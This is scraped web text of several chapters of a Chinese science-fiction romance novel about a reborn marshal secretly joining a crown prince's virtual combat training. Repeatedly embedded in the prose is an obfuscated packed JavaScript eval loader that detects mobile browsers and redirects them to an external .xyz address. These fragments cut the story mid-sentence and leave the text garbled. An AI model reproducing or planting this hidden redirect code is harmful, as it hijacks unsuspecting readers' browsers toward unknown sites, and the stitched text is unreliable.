;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000159|161738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拟战斗是所有帝国军人的必备训练,进入虚拟战斗后有点像游戏的练习模式,可以自定义选择多种地图、难度、敌人数量/种类……等等,定制符合自身需求的战斗场景,方便日后将在虚拟战斗中训练出的经验运用到实战中。 现在帝国的军用虚拟战斗舱已经迭代得十分先进,模拟出的战斗情境无限逼近现实。 沈清崖上辈子的时候,秦曜就经常拉着他在虚拟战场里单挑。 从最开始认识,秦曜被大他两岁的沈清崖按着打,到后来各有胜负。 等到沈清崖临终的最后一两年,胜利的天平已经倒向了秦曜那边。 那时秦曜恨他恨得厉害,一次次在虚拟战斗中把沈清崖踩在脚下,出来以后,沈清崖平静得很,倒是秦曜,每每咬牙切齿地问:“服不服?” 沈清崖无所谓地耸肩:“输了就是输了呗,有什么不服的,恭喜你。” 然后不知道为什么,秦曜就更气了。 最后免不了又要被这个癫子爆炒一顿。 这位殿下,当真是很难取悦。 . 虚拟战斗训练用的训练舱是一个符合人体力学的长卵型,人躺进去后,玻璃舱门从上向下缓缓合上,接着训练舱会自动往内部灌注营养液,确保使用者即便在较长的时间持续使用训练舱也不会出现身体意外。 秦曜躺进去以后沈清崖就麻溜从地上爬了起来,拿秦曜的训练舱出气。 踹死你这个狗男人!! 沈清崖如是想着,一脚踹上训练舱的玻璃……然后捂着自己的大脚趾原地乱蹦。 Omega的身体……真是太脆弱了……………… 伤敌0,自损八百。 沈清崖揉完大脚趾,就生气地趴在训练舱边盯着秦曜看。 蜷缩在训练舱里的秦曜要比平时的他看上去可爱很多。 太子殿下生了一头柔软纯净的黑发,细看之下,其实脸部线条很流畅,嘴唇没有刻意抿出不近人情的线条时才会让人注意到,他的唇角是天然上翘的。 “只有睡着的时候不讨人厌……”沈清崖嘟囔。 咚,咚,咚。 什么东西机械性地敲门,沈清崖甩着两条胳膊游手好闲地去开了门,这房间的门沉得不行,柔弱Omega费了九牛二虎之力才推开了左边的那扇。 沈清崖正扶着膝盖大喘气,就听见“叮咚”一声。 “您的客房服务已完成,请点击小机机脸上的评价按钮,对我们的服务进行评价~” 沈清崖抬头,先映入眼帘的是一个跟秦曜的训练舱同样型号的高级战斗训练舱,只是秦曜正在用的是黑色,眼前这个是白色。 沈清崖眼睛一亮。 伸长脖子往训练舱后面看,才看见一个举着机械臂的酒店客房服务机器人,训练舱是被这个机器人托举在手里的。 机器人面部的电子屏幕上果然有三个标志,分别是:不满意,满意,非常满意。 沈清崖非常满意地点了非常满意。 “小机机,你把这个训练舱帮我抬进去放到总控台旁边。” 机器人收获好评,干劲十足,吨吨吨地就给他运过去了。 待机器人走后,沈清崖叉着腰,站在那个巨大的白色训练舱旁边,兴奋得血液沸腾。 他上辈子习惯不是在训练场就是在战场的日子了,重生以后这么久摸不着枪,属实有些无聊。 这下好了,蹭秦曜的东西,不心疼。 更何况…… 沈清崖恨不得仰天大笑——他隔着训练舱揍不着秦曜,他可以选择进训练场揍啊! 天助我也。 11. 虚拟战场(上) 沈清崖坐在地上,十指翻飞,熟练地将训练舱上那一堆叫人眼花缭乱的线都接上了控制台。控制台上显示出LOADING的字样,很快就亮起了绿灯。 两个小绿灯并排亮着,底下是象征着训练舱接入的蛋蛋形状的像素小标志,一黑一白,可可爱爱。 系统见沈清崖这么跃跃欲试,无语道:【宿主,你已经没有多少时间了。我认为接下来,你应该分秒必争地提升攻略对象好感度,而不是做一些没有意义的事情。】 沈清崖半个身体已经躺进了训练舱。 他一本正经道:【你怎么知道秦曜就一定不喜欢孔武有力的Omega呢?】 系统:【…………6】 孔武有力的Omega沈清崖将自己在训练舱中安置好,合上舱门,闭眼,等待温热的营养液填充满整个训练舱。 透明的营养液如羊水一般将他包裹,沈清崖发出了怀念的喟叹。 很快,他便失去了意识,接入到虚拟训练场之中。 虚拟训练场是整个星网都互相联通的,沈清崖睁开眼睛的时候人在联网大厅。 这个联网大厅一如八年前他还活着时一样热闹,一睁开眼人声鼎沸。 有人在联网大厅寻找训练赛组队队友,见沈清崖只有一个人,就来邀请他。 “哈喽,有没有兴趣跟我们一起来一把——” 对方边跟沈清崖打招呼边随手查看他的个人信息,话说一半顿住了。 无语了一会儿,那名一头白毛的Alpha骂骂咧咧地走了:“什么玩意儿?这什么身体素质?总不能是Omega吧?现在怎么连这种水货都能搞到军用训练舱了??” 沈清崖摸摸鼻子,他都不用看,就知道自己的各项身体能力指数肯定都远远远远……低于平均线。 可谁说上战场打架就全靠基础体能啦? 沈清崖找到联网大厅信息台,选择了【本地联网模式】。 信息台服务NPC:【您好,经查看您的本地网络中已有一位用户正在进行虚拟训练,请问您要加入训练地图吗?】 【要~麻烦了。】 【好的,正在为您接入训练地图,祝您有一场愉快的训练赛——】 沈清崖的眼睛一闭一睁,双脚已经踏在了硝烟弥漫的焦灰色土地上。 灰黑色、微微泛红的天空,布满了微尘颗粒,能见度极低。放眼望去四周极度空旷,越过空气中浓雾般的尘埃能隐隐看见几处断壁残垣,偶尔有几只机械狗在废墟之中刨食吃。 沈清崖脚底下有什么东西在发光,他挪开脚,弯腰捡起来,才发现,那是一个几乎跟现在的科技水平持平、甚至略微超过的个人终端。 如果仔细观察的话,就会发现这样的高科技产品的残骸在这个战场中几乎随处可见——芯片、高智能化拟人机器人的身体部件、宇宙能源的车…… 可以想见,在这片土地变成战场废墟之前,其科技是何等昌盛与繁荣。 沈清崖摇摇头,随手把刚才那个终端放进随身包里。 ——就像电子游戏一样,所有用户如果没有自备装备,那么进入训练场后系统都会提供一身初始装备和一个背包,背包容量很大,得到什么自己觉得需要的东西都可以往里边放。 现实里的武器只要在控制台上扫描一下信息就可以带进训练场。 沈清崖以往都是带着永恒的轮舞曲训练的,自己都想不起来有多久没用过系统给的菜鸡入门装备了。 他颠了颠手里的枪,是一把普普通通的左轮,在耳朵边上一晃,里边卡啦卡啦响。 这么多年不见,这破训练系统还是这么小气,程序员怎么一点不更新啊? 心里腹诽,沈清崖还是老老实实给枪装上了弹。 这个地图他很熟悉,是以污染后的第六星亚斯塔禄为蓝本设计的地图。 亚斯塔禄在沦陷为污染区之前,就是以领先于整个帝国的科技力量闻名的,可惜在污染后到如今的九百年,那些曾经人类智慧的精华早已化作飞灰,一滴也没有留下。 现在已经很少有人再管第六星叫做“亚斯塔禄”,这些星球不需要名字,被污染后统一都被称为“污染区”。 这个地图的难度在中等偏上,敌人战斗力不算很强,主要是数量多,基本就是个囤物资+打丧尸+救援灾民的极限生存训练,适合团队作战,对受训人的综合军事水平跟临场应变能力要求很高。 以前沈清崖还在莉莉丝皇家军事学院执教的时候就很喜欢让学生打这个本,锻炼他们的综合战斗水平,顺便搞点末日小队生存的团建,效果拔群。 秦曜居然一个人开一个团队战的地图,这人是挺喜欢自讨苦吃的。 沈清崖摇头,拿出地图看了一眼,然后圈出了一块地方。 那块地看上去是仅有的一片灾民居住区,也是对于污染物来说进攻的绝佳地点,秦曜八成就在那。 沈清崖心情不错地哼着歌,从一旁的废墟里挖出了一辆车,就地取材给那破车修补了一番,又四处搜索,找了个旧电池给车装上。 往驾驶座一坐,脚踩油门,小破车就这么吱呀吱呀S型地开了出去。 速度贼慢,像头老驴。 . “突突突突突突突——” 秦曜手执高能粒子枪,对着张牙舞爪扑来的怪物一通扫射,好不容易才把那有摩天大楼那么高的怪物逼退了几步。 为了提高训练难度,秦曜设置了不能使用异能的模式,唯有靠不那么趁手的武器跟怪物搏斗。 他护着怀中的NPC就地一滚,滚到了遮掩物后面蹲下,警告那个NPC小女孩:“在这老实待着,别动。” 然后就又冲出去跟那全身长毛看不出物种的怪物突得你死我活。 沈清崖赶到的时候,看到的就是这么一番景象。 他没管在跟怪物肉搏的秦曜,自己下了车,小心翼翼在这个人类居民区里穿梭,避免被怪物发现。 顺手把那个被秦曜独自扔在房子后面,现在正初生牛犊不怕虎地东张西望的小女孩捞起来,带着她一起跑。 小女孩一张小脸像刚从泥巴地里挖出来的,眨巴着大眼睛瞅着他。 “大哥哥,你跟刚才那个大哥哥是一伙的吗?” 沈清崖挠了挠下巴,艰难地闪身躲过正在AOE的怪物的一巴掌:“虽然很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000160|161738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想承认……但……算是吧。” 每一个训练地图都会根据用户自定义的难度等级,给用户定立一系列任务。 沈清崖刚才赶来的路上忙里偷闲看了一眼,秦曜选的是【天灾级】难度,也是目前系统里可以选择的最高难度。 “可把他能耐坏了……”沈清崖啧啧感慨。 天灾级难度下,要通关训练赛必须在规定时间内打倒4个BOSS,1万个小兵,并且营救50名灾民,确保这些灾民到训练赛通关时全部在安全所内存活。 秦曜还在跟BOSS大战三百回合,只见他来去如风,身形一闪就穿越了无数障碍物,仗着极高的敏捷度,把那个笨重的污染物怪物当猴耍。 沈清崖只消看一眼就知道秦曜干掉那个BOSS只是时间问题。 有秦曜拖着BOSS,沈清崖乐得轻松,一边利用这个废弃居民区的房子作掩护奔逃,一边捡垃圾。 怀里的小姑娘好奇地看着沈清崖从沙土堆里挖出一块锈铁片。 “大哥哥,这些破烂有什么用啊?” 沈清崖说:“唔,在有的人手里确实是破铜烂铁,不过在有的人手里……倒是也能废物利用一下。” 他一路蛇形往安全所移动,途中时不时出现些小污染物——变异后逮着人就咬的花花草草、长了一圈围脖一样的脑袋的大兔子、巨型蛆虫……都被他隔着老远的距离射杀。 以沈清崖现在的Omega体能,一旦跟怪物近身就是被撕成八瓣的命。 但他是曾经的帝国第一狙击手,自然懂得如何最大化利用掩体。 干掉第八只小怪物后,沈清崖吹了吹左轮的枪口。 肩膀处酸麻难忍,他用力揉了两把。没办法,Omega的身体,能做到这样已经很不错了。 等秦曜把BOSS打到了残血,行动速度都缓慢了下来,沈清崖终于带着一路上捡到的八个灾民抵达了安全所。 “一,二,三,四,五……” 他清点了安全所内的现有人数,加上他带回来的八个,才堪堪二十九个人。 “艾丽莎……艾丽莎…………快让爸爸看你最后一眼…………” ……还有好几个快死了。 人在无语到极致的时候真的会笑出声来,沈清崖属实是给秦曜气笑了。 时隔八年,这位太子殿下还是这么不擅长生存型战场。 简直就是个只知道突突突突的战斗狂。 要是他没有中途加入进来,怕是秦曜这一把辛辛苦苦把所有敌人全部歼灭,最后也只会GG。 不过也不怪他,本来就是团队协作地图,他一个人,还选最高难度,可能一开始就是冲着找死来的。 沈清崖夹带私货地在心里阴阳怪气。 这人真是…… 一个人搞不定,好歹在联网大厅搜罗几个队友嘛……非要做他的孤胆英雄…… 默默吐槽了许久,背后的安全所外墙一声巨响,警报器尖锐爆鸣,屋子里的二十九个NPC同时抖了三抖。 金发的Omega头都没回,抬手举枪,对着脑后毫不犹疑扣下扳机。 一枪爆头,汁血飞溅。 12. 虚拟战场(中) 安全所一点儿也谈不上安全,伤的残的孤儿寡母的NPC们哭成一团。 沈清崖长叹一口气,去检查刚刚那只被他射杀的污染物,发现是一只变异大鸟。 灰黑的羽毛,翼展超过三十米,脑袋有人那么大。 本该柔软的翅膀上长满了尖细的锯齿,还生了一口令人胆寒的獠牙,中了枪的额头上正在往外流出绿色黏液。 灾民NPC们很怕这些怪物,一个个吓得抱头鼠窜,沈清崖也不管他们,拿出刚才路上捡的小刀,在那只大鸟身上来回划拉比划。 这副模样太像黑恶势力了,NPC们都惊恐地盯着他。 一刀从变异大鸟背脊处划下去,皮开肉绽,大鸟流下了更多绿色的恶心黏液。 沈清崖熟练地拔毛,剔骨头,无视那堆黏液,把大鸟开膛破肚,将内脏掏空。 随后他在安全所内梭巡一圈,找到了一口锅,架在炉子上,没有能源就自己点了个火,然后把鸟肉一股脑丢进锅里。 滋啦滋啦滋啦—— 动物肉本身自带的油脂在热锅中很快散发出香气,沈清崖熟练地颠锅,让鸟肉在锅内翻腾换面,直到面面都煎至焦黄喷香。 灶台上有些放到快发霉的调味料,沈清崖也不计较卫生问题,往锅里撒上盐跟胡椒,登时整个安全所内都弥漫了肉香。 NPC们躲得远远的,都在吸溜鼻子。 沈清崖招呼他们:“躲那么远做什么?过来吃肉啊,你们好些天没吃东西了吧,再这样要饿死了。” 有个别小孩子被香得晕头转向,试探着往灶台的方向走,却被他们的家人一把拉了回去。 帝国的虚拟训练搭载得都是最先进的人工智能技术,这些NPC的智能水平跟真人几乎没有区别。 “傻孩子,那种东西可不能吃!那是污染物啊!” 大NPC惊慌失措地训斥小NPC。 只见一屋子二十几个NPC都惊恐地盯着沈清崖跟前的锅——那锅里的肉是香啊,可他们还要命啊! 而且到底什么正常的肉会在翻炒的时候一直冒出绿烟啊? 那张鸟脸上简直就写了“我有剧毒”四个大字好么! NPC们恨不得落荒而逃。 “来,过来。” 沈清崖微笑着对那个最开始被他从外面带回来的小女孩招手。 这个小女孩NPC的父母都已经死了,爹不疼娘不爱孤儿一个,没大人护着,被肉香勾引得咽了好几口口水,终究是进食的欲望战胜了警惕心,跌跌撞撞过去了。 沈清崖给她盛了一小碗肉,小女孩狼吞虎咽吃了,刚吃完,她的头顶也冒出绿光—— 其实细看是绿色的数字,一串HP+100,HP+200的回血提示。 OK,这小孩肯定是能苟到最后了。 沈清崖拍拍手,满意地站起身。 卡拉德里乌斯——这是污染生物学家给这种鸟类起的名字。 名字来源于古地球神话传说中的治愈之鸟,据说可以带走疾病。 这种污染物也一样,只要不被它们可怕的外形以及那股不详的黏液跟绿烟吓到,勇敢吃下鸟肉,不仅饱腹感特别强,还能治愈各种伤病。 沈清崖看了一眼训练场时间限制,剩的时间不算很多了。 后台面板可以看到目前的任务进度,1万个污染物小兵还差3000,应该是还会有一波敌袭。 4个BOSS则已经被秦曜砍瓜切菜一样干掉了三个。 营救灾民的任务完成度是最棘手的,目前能看到安全所内已有的灾民信息:一共29名灾民,其中血量在警戒线以下的多达……28名。 只有这个刚吃了鸟肉的小姑娘生龙活虎。 沈清崖关闭后台,眯起眼,面带核善的微笑,端起他的大铁锅,一步步向NPC们逼近。 NPC们:QAQ 沈大元帅(转生成Omega版)狞笑着上前,趁灾民们不备,一手捞一个,强行喂食,NPC们反抗无效,一锅鸟肉很快就被分而食之,每一个NPC头顶上都冒出了回血的绿字。 后台再一看,血量全部回归健康。 天灾级的虚拟训练场,考验的可不仅仅是参加训练的人员的战斗能力而已。 污染物识别和有效利用能力; 团队协作能力; 以及对必要军备的了解、对手头所有资源的整合重塑能力…… 要想在和战斗力无数倍于人类、且仍在不断进化的污染物的战斗中取得胜利,坚实的体能跟战斗力、丰富的理论知识、还有充足的经验,缺一不可。 从前的沈清崖凭借着三项顶尖的能力成为人人景仰的帝国大元帅,如今的沈清崖嘛…… 咳,体能跟战斗力的确是没了,但脑子里该有的东西可是一点都没有少。 “难得做一次田螺姑娘……殿下,你到时候可得好好感谢我。” 沈清崖嘟囔着,看了一眼地图上显示还在跟污染物打得难舍难分的秦曜,淡定地掏出包里他一路搜集的破铜烂铁。 虚拟训练场时间半天后—— 安全所原先坍塌得四处漏风的外墙不见了,取而代之的是锃光瓦亮的坚壁; 新建的墙壁外又围了一层铁栅栏,栅栏前是一排黑洞洞的炮筒,只待屋里按一下遥控,这些炮筒便能齐齐开炮; 灾民们不论年龄性别、身强体壮还是老弱病残……人手配备一把武器,身强体壮的就用近战武器,老弱病残就在背后放冷枪。 做完这一切,大约还有三个小时天黑,沈清崖嘱咐灾民们好好待在安全所内,自己则独自离开。 还是像来时一样,Omega借助一路的掩体鬼鬼祟祟躲躲藏藏,尽量避免跟污染物正面刚上。 三个小时时间,他又找到了十五个流落在外的灾民,将他们带回安全所。 这么一来就有44个了,只差6个就能完成任务。 沈清崖预测夜晚会有一波敌袭,把NPC们喂饱后让他们养精蓄锐,随时做好敌袭的准备。 入夜后没多久,负责放哨的NPC忽然猛地吹哨。 沈清崖正坐在地上检修武器装备,闻声纳闷——这外头也没动静啊?污染物大军袭击人类老巢竟如此文明?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000161|161738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他把门开了一条缝向外看,还没看出个所以然,那大铁门就被从外侧用力拉开,差点把沈清崖拉了个脸着地。 “……” 他扶着墙,抬头一看。 这不是在外面跟怪物们缠斗了一天,差点被偷了家的太子殿下么。 只见秦曜如同帝王巡视领地一般,背着手进屋,环视安全所一圈。 发现NPC们一个个都生龙活虎地瞪着他,太子殿下点点头,点评: “嗯,不错,你们把自己保护得很好。” 田螺姑娘沈清崖:“…………” 每个用户进入虚拟战场的时候都可以自定义自己的角色外观,沈清崖很有做贼的自觉,将自己的五官都做了微调,体型也捏得壮实了不少,还往原本的金发里加了好些杂毛。 现在的他跟那个瓷娃娃一样的米兰休汀可以说毫无共通之处。 秦曜确认了安全所内的人员状况后又挨个清点了人数。 点完人,他有一丝疑惑:“怎么都已经有45个人获救了?这个地图的天灾难度这么容易的么?” 太子殿下纳闷着,又打开后台数据面板,看完后台数据更疑惑了,两条修长漂亮的眉毛都要拧出一个蝴蝶结。 “怎么45个人血量都这么充足——不对。”秦曜脸色一沉,当即条件反射地举起枪。 后台面板明明只有44个人,怎么这里有45个“灾民”? 必然是有污染物伪装成灾民混进来了。 他就知道,天灾级训练场,绝对不可能那么简单。 …… 门边的沈清崖嘴角直抽抽。 其实秦曜这么想一点问题也没有。 如果是沈清崖自己,遇到这种情况,必然第一时间也怀疑是污染物作祟。 正常人谁能想到自己好好在家里单机打训练场,还能有人偷偷插台新机子混进来啊? 这得多没素质啊。 于是沈清崖反省了三秒,善良地戳戳秦曜:“一会儿可能会有敌袭噢,你还是枪口对外面吧。” 沈清崖自认为自己这个田螺姑娘当得十分无可指摘,既帮秦曜做了万全的后勤工作,又不邀功,贤良淑德,还在秦曜搞错情况的时候予以提醒,让他能提振起精神应对接下来的敌袭,简直是可歌可泣—— 可歌可泣…… 沈清崖僵硬着转了转眼珠,瞟向压在自己太阳穴上的枪口,缓缓举起了双手。 他讪笑:“有话好好说,大家都是同胞,你这个人怎么这么暴脾气哇?” 秦曜冷笑一声,那枪口在沈清崖太阳穴上“咚”地一敲,这个狗一点儿没收着力,疼得沈清崖眼冒金星,痛呼出声。 秦曜语声森然:“没想到现在系统迭代成这样了,这是什么‘隐藏惊喜’?老实交代,你是什么人? “或者——你要我挑明了问?你是什么恶心人的污染物?居然还能装成普通灾民。” “…………” 我的个青天大老爷—— 沈清崖这下是真的确定了。 他果然从上辈子到这辈子都跟秦曜这条狗犯冲。 13. 虚拟战场(下) 沈清崖丧眉搭眼的:“我真不是污染物,我就是普通灾民。” 他现在的形象的确非常普通。 整个帝国随处可见的带点杂毛的金发加灰绿色眼睛,相貌平平。平均值的身高,平均值的体型,普通人中的普通人,Beta里的Beta。 但秦曜一点儿都不相信他,一只手扳着沈清崖的肩膀,一只手把着枪托,食指勾在扳机前面,随时准备开枪。 秦曜向来都是不屑于在虚拟战场里改变自己的外形的,现在的他除了因为接连的战斗,脸上沾了些灰尘外,每一丝头发都规规整整地待在它们该在的位置,简直是教科书般的强迫症典范。 近距离接触S+级的Alpha,即便没有信息素的影响,压迫感也是很吓人的。 秦曜比平均值男青年沈清崖还要高上大半个头,他这人说好听点叫不怒自威,说难听点就是不讨人喜欢,本来好端端的微笑唇,抿得像个蚌壳,好像随时准备给沈清崖来一口,把他脖子给嘎嘣咬断。 挺阔的腰背挡在沈清崖跟前,能敛住所有光线,山岳般的姿态,简直就是沈清崖生命中避之不过的巨大阴影。 太阳穴上的枪口压得又紧了点,沈清崖觉得自己脑袋都要被这个狗压出个窟窿来了。 “我真不是污染物…………”他虚浮无力地再次重申。 “那你是什么东西?” “我是灾民!我就是个普通的灾民!”沈清崖开始闭着眼胡编乱造,假装自己是个AI,“我家在北边那个坡上,三代单传的普通农民,从小放羊,我天天就是把羊从这个坡赶到那个坡,直到后来怪物袭击了我家,我痛失家人,走上流浪的道路——” 秦曜静静听着他胡说八道,一个字都不信。 直到一双小手轻轻扯了扯他的衣角。 “大哥哥,这个大哥哥真的不是坏人,他救了我们好多人呢!我也是被他从外面救回来的!你不要欺负他啦!” 沈清崖差点感动哭了,往下一看,是那个他第一个救回来、又第一个喂了鸟肉的小女孩儿。 果然做好人是会有好报的,哪怕在虚拟世界。 “这个大哥哥不止救了我们!还用枪打死了一只袭击安全所的大鸟!把鸟肉分给我们吃,我们吃了以后都精神得跟牛一样! “而且他还用在外面捡的一堆破烂造了这些——”小女孩骄傲地指向外侧的一排炮筒,“还有这些——”小女孩又拍拍坚实无比的墙壁,“还有这些——”小女孩又开心地一指大家手上拿着的武器。 最后总结道:“这个大哥哥真的是个超级大好人!你不要欺负他!” 沈清崖上扬的嘴角逐渐下垂。 秦曜冷峻的神情逐渐疑惑。 两个前世的死对头现在的马甲号大眼瞪小眼,许久,秦曜皱着眉头缓缓放下了枪。 但语气比刚才更冷了:“你是谁?怎么混进我的虚拟战场的?” 系统不可能闲得没事做到这个地步,让污染物当田螺姑娘帮他救人,普通灾民NPC更不可能,那就只能是有另一个真人混进来了。 沈清崖在巨大的危险之下脑子玩命转,然而虚拟战场没给他深思熟虑的时间,门口放哨的又吹起哨来,这次声音更尖锐,更嘹亮。 安全所的红色警戒灯亮起,中间屏幕上闪出三个巨大的感叹号。 敌袭!敌袭!敌袭! 秦曜最后深深看了沈清崖一眼,扔下轻飘飘但威胁意味十足的一句:“等出去了再收拾你。” 说完就直接消失在了沈清崖面前。 逃过一劫逃过一劫…… 沈清崖拍了拍胸脯,面色从慌张谄媚到镇定自若不过一秒。 他招手指挥安全所内的灾民:“各位,照着我之前告诉大家的做好迎战准备,敌人预计有五至六波,近战守门口,枪手找掩体,炮手听我倒数就开炮。深呼吸别紧张。” “大哥哥,我做什么呀?” “你就躲在后面好好坐着。”沈清崖微笑着蹲下身,捋了两把小姑娘的头发,“如果发现外头那个恶棍要偷袭我就告诉我。” “好!”小女孩认为自己领到了重大任务,大声答应,“恶棍是什么?是那些怪物么?” “那倒不是,怪物没那么可怕。” 沈清崖朝窗外努努嘴,外面不知何时下起了暴雪,漆黑天地间积下莽白一片,夜幕银花纷扬,黑与白之中傲然立了一个高大背影,孤高又寂寥。 沈清崖本来想跟小NPC指桑骂槐几句以泄心中怨气,看到这样的秦曜倒是说不出口了。 这样冷峻的背影他看过很多次,当年几乎每次战役,行至危时,秦曜都是这样一腔孤勇地站在他身前。 他跟秦曜交恶以后就再没见过这样的背影了,沈清崖不由有几分感慨。 最后他慈祥地摸了摸小女孩的头,一脸往事不可追的莫测:“没事,玩去吧。” 五波敌袭,三千个小兵,加上一个BOSS。 低级的污染物很恶心,有点像部分游戏里的小怪物,又没有游戏设计师们精心设计出来的模型那么规整,长得一整个随心所欲。 长了四条节肢动物一样细长带钩子的腿的斑马,跑起来像个黑白相间的大蟑螂; 皮肤沟沟壑壑里面长满了大眼珠子的野猪,一被激怒那些眼珠子一个个都望向你,克得叫人寒毛直竖; 还有带透视功能能看到身体内骨头跟肌肉组织的狼,长了几百只人脚的巨型大蜈蚣…… 心理素质不好的人光是看着这些污染物都能恶心吐出来。 这也是帝国所有军事学院第一节战斗入门课都先从心理辅导、建立耐受度开始的原因。 瘆人啊。 NPC们骤然看到这么多怪物也慌,一个个瑟瑟发抖武器都拿不稳,恨不能四散奔逃。 沈清崖心道对不住,本来这个地图里负责保家卫国的应该是真人受训者团队才对。 但现在这没办法……人力资源有限么,只能让原住民NPC顶上了。 他用力拍手:“大家冷静,炮手准备,我数到0开炮——” “5——” 外面银装素裹的天地里,秦曜身形一闪,数十只污染物先遣军霎时烂成了好几滩肉泥,流出黑血,在雪地上蠕动。 又一闪,又是数滩烂肉。 “4——” 黑压压的污染物,天上飞的地上跑的,铺天盖地而来,将洁净的雪地一朝染上黑气。 第一波被秦曜干掉得差不多了,第二波又源源不断地涌上,比第一波的怪物更加密密麻麻。 “3——” 团队战的地图,秦曜再怎么厉害,一个人迎战这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000162|161738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多低级污染物也会有漏掉的时候。 那只长了数百只人脚的大蜈蚣一路贴地爬行,凭借着极快的移动速度,趁秦曜不备袭向安全所。 “2——” 沈清崖一边读秒,一边面不改色地对着蜈蚣脑袋连崩三枪。 百足之虫中枪,身子翻过来,几百只脚在半空中胡乱踢踹了几秒,僵了死透了。 “1——” 先遣部队的低级污染物冲了两拨,后面的BOSS也来了。 沈清崖抬头看了一眼,是个红色的、锃亮的巨型甲虫,翅膀飞速扇动,那种昆虫特有的“嗡嗡嗡”的声音放大了成千上万倍后,让人从里到外地不适。 虫族啊。 讨人厌的玩意儿。 这种东西简直倒反天罡,明明那么又肥又大一只,敏捷程度一丝半点儿也不受体型影响,挥着翅膀就是一通乱飞,跟个魁地奇球一样。还特别能生,繁衍起来无穷无尽的。 沈清崖看到这玩意儿就想起上辈子某些恶心的回忆,他实在是太讨厌虫族了! 秦曜的注意力也被大甲虫吸引了,手上动作一缓,就有心思活络的低级污染物突破了他的守卫圈,一堆一堆地朝安全所蛄蛹过来。 “0——!!!” 沈清崖猛地抬高声音,“就是现在,开炮!!” 安全所门外的一圈大炮轰隆轰隆转头瞄准,炮弹带着火星子在黑夜中乱飞。有的击中了,有的没有,但没关系,炮兵后边还有近战跟枪兵等着。 四十几个系统分配下来让他们营救的NPC,愣是被沈清崖调教成了一支应急部队,弥补了团队地图队友缺失的尴尬。 技术糟糕没关系,老弱病残没关系,污染物大军早就被秦曜解决了90%以上,剩下的无非是虾兵对蟹将。 一群“蟹将”在沈大元帅的调度下配合无间。 等三千个污染物小兵全部解决,沈清崖的后台跳出一个Missioplete的字样,是小兵那个子任务完成了。 秦曜跟甲虫大BOSS打得也差不多了,沈清崖把枪往腰间一插。 “接下来应该安全了,你们继续在这好好待着。” 他要去把剩下的几个灾民收集回来。 昏天黑地的雪夜,能见度很低,沈清崖带着军用夜视眼镜,掘地三尺,把剩下的几个灾民扒拉了出来,顶着冉冉升起的朝阳带回安全所。 等太阳升起到海平线上方的同时,秦曜也完事了。 同时三声系统提示,前两个是子任务完成,最后一个是整个任务完成,训练通过。 欢快的系统音乐像在沈清崖脑子里放桑巴,踢踢踏踏的,脑仁疼。 他靠在安全所门边,眼见着秦曜踩着雪一步一步往回走,忽然意识到什么。 太子殿下任务完成了,下一步是不是就是要对付他了? 沈·田螺姑娘·做好事没好报·清崖倒抽一口凉气,已迅雷不及掩耳之势点了【离开训练场】。 在训练舱内睁开眼睛,沈清崖连一秒钟都没给自己休息,双手双脚掀开舱门就下去拔电源。 拔完电源,金发的Omega才松了一口气,抹抹额头的汗,站直身子。 然后一低头,对上了一双冰蓝色的、凌厉如鹰隼的眼睛。 沈清崖:“…………” 14. 我不想做鸡 秦曜缓慢地坐起身,头顶的玻璃舱盖自动掀开。 Alpha身上还沾着黏糊糊的营养液,他抹了一把脸,营养液是速干的,随着他的动作向下滚落脱干。 秦曜活动了一下胳膊,沈清崖听见关节的嘎嘣一声脆响,不由颤巍巍后退半步。 同时默默心酸,要是秦曜打算杀了他,他的胜算是多少…… 系统听见了沈清崖的心声:【呵呵,居然是0诶。】 沈清崖:【……0什么0,我们之中有0个人问了你。】 系统一股淡淡的死感:【无所谓了,反正你任务肯定失败了,哎,算了,下一个宿主更乖。】 酒店房间的水晶灯光华夺目,沈清崖有一瞬间被迷了眼睛,看不清秦曜的神情。 待眼睛适应后再睁开,Alpha已经不知何时出现在他的近前。 这神出鬼没的功夫吓得沈清崖又后退一大步。 太子殿下没有再逼近,只见他淡淡瞥了一眼跟他的黑色训练舱并排放置的白色训练舱,又看向训练舱连着控制台的线。 “你接上的?你怎么会弄这个?” 